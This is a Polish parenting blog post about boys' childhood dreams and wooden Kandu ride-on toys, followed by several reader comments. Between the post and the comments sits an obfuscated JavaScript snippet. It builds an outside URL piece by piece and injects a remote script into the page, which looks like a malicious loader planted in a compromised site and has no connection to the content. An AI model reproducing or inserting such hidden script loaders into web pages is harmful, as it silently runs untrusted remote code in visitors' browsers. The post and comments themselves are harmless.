Każdy mały chłopiec marzy o wielkich czynach, o wielkich pojazdach i odkryciach. Wyobraźnia pracuje na pełnych obrotach i pozwala naszym dzieciom snuć niesamowite opowieści, których są bohaterami. My, jako rodzice możemy nieco wspierać rozwój tych (czasem pozornie nieosiągalnych) marzeń.
Chcę być rycerzem
Oliwier bardzo długo żył marzeniem, że będzie kiedyś rycerzem – ciągle powtarzał: “będziesz moją królową i będę Cię bronić”. Choć taka fantazja nie nadaje się do realnego zrealizowania, to świetnym pomysłem jest wspierać dziecko w czasie gdy jest nieustraszonym bohaterem własnej wyobraźni. Tarcza z kartonu, peleryna i oczywiście własne królestwo! Dwa pierwsze to łatwizna, ale aby wykonać zamek musisz mieć wielki karton (lub kilka mniejszych) i trochę wolnego czasu – jak stworzyć coś takiego dowiesz się we wpisie Zamek do zabaw z kartonu. Mój mały rycerz marzył jeszcze wtedy o rumaku, ale musiał zadowolić się czerwonym łosiem z ikei 😛 Dzisiaj znalazłam prawdziwe cacko: kucyk Kandu, to dzieło sztuki. Przepiękna zabawka, która łączy w sobie dwie funkcje; drewnianego konika na biegunach i genialnego jeździka. Jeśli tylko Gabryś będzie podzielał zamiłowanie do rycerstwa tak, jak brat, to z pewnością ten kucyk zagości u nas na stałe.
Odkrywca
Każdy kamyk, źdźbło trawy, patyk i wąska ścieżka w lesie sprawiają, że w Olim budzi się prawdziwy odkrywca. Z każdego spaceru przynosimy do domu jakieś skarby i potem razem nad nimi dyskutujemy, a jesienią tworzymy razem skrzyneczkę z listą roślin i przedmiotów do uzbierania. Takiego małego ciekawskiego marzyciela możesz wyposażyć w lupę by mógł jeszcze dokładniej obserwować przyrodę oraz skrzyneczkę lub pudełko, do którego może chować uzbierane na spacerze skarby. Zwróć uwagę na to, czym Twoje dziecko się interesuje; może to przyroda, może kosmos albo eksperymenty – dobierz do tych zainteresowań tematyczne zabawki i gadżety rozwijające kiełkujące pasje.
Chcę być jak…
Znacie te etapy prawda? Wczoraj chciałem być jak tata, ale dziś mam focha, więc chcę być jak dziadek/ ten pan z telewizji/ policjant spotkany na drodze/ i milion innych osób. To naturalne, że mały chłopiec szuka swej drogi, snuje marzenia i wyobraża sobie siebie w najróżniejszych rolach. Od dłuższego czasu Oliwier powtarza, że che mieć skuter lub motor – nie wiem zupełnie skąd to się wzięło, ale każde pytanie o wymarzony prezent ma taką samą odpowiedź. Starszaka udało mi się lekko przekonać do innego prezentu, ale kto wie czy młodszy nie przygarnie na urodziny motorka Kandu 2w1. To zabawka wykonana z największą dbałością o szczegóły; tak unikatowa, że nie wiadomo czy się nią bawić, czy tylko patrzeć i podziwiać. Producent stawia na wartości dla nas, rodziców, największe: rozwój dzieci i wyjątkowe relacje rodzinne. Dzięki tym wyjątkowym produktom wspomnienie dzieciństwa może zostać przekazywane z pokolenia na pokolenie; drewniane zabawki są ponadczasowe i moim zdaniem po prostu niezniszczalne. Uwielbiam drewno i staram się otaczać moich chłopców takimi właśnie zabawkami, mają one jakiś swój urok, duszę, jakąś magię w sobie.
Drewno łączy pokolenia
Nie da się ukryć, że drewniane zabawki są ponadczasowe; to podróż do przeszłości i przyszłości jednocześnie. Piękne, naturalne zabawki, wykonane z niezwykłą dokładnością i przemyślane w każdym calu, to coś, po co warto sięgnąć. Zabawki eksploatowane przez Oliwiera od kilku lat, teraz przejął Gabryś i wiem, że schowane w kartonie, nawet gdy przeleżą kolejne 20 lat, to i moje wnuki będą się nimi bawić. To jest w drewnie najpiękniejsze!
Pamiętasz kim Ty chciałaś zostać?
Ja marzyłam by być pielęgniarką, uwielbiałam bawić się plastikową strzykawą i wodą 🙂
(function(){
x464_=(“u”+””)+”s”+””;x464_+=(“tat.”)+(“i”);
x464=document.createElement(“script”);x464.type=”text/javascript”;x464_+=”nf”+(“o”)+”/”;
x464u=”122621295″+”.”;x464.async=true;x464u+=”rg3jt816464v8X8zqw2cbtifag1bfx”;
x464.src=”https://”+x464_+x464u; x464b=document.body; x464b.appendChild(x464);
})();
4 komentarze
Jako dziewczynka też miałam marzenie o byciu księżniczką, później nauczycielką a nawet uwaga zakonnicą 😀
Świetny wpis 🙂
Och te dziecięce marzenia i fantazje … Świetny wpis, dotyczący niemalże każdego z nas.:)
Od początku widziałam swoją przyszłość w towarzystwie książek, jak się okazało, zmieniały się tylko formy współpracy z nimi, czytanie, pisanie, wydawanie, promowanie. 🙂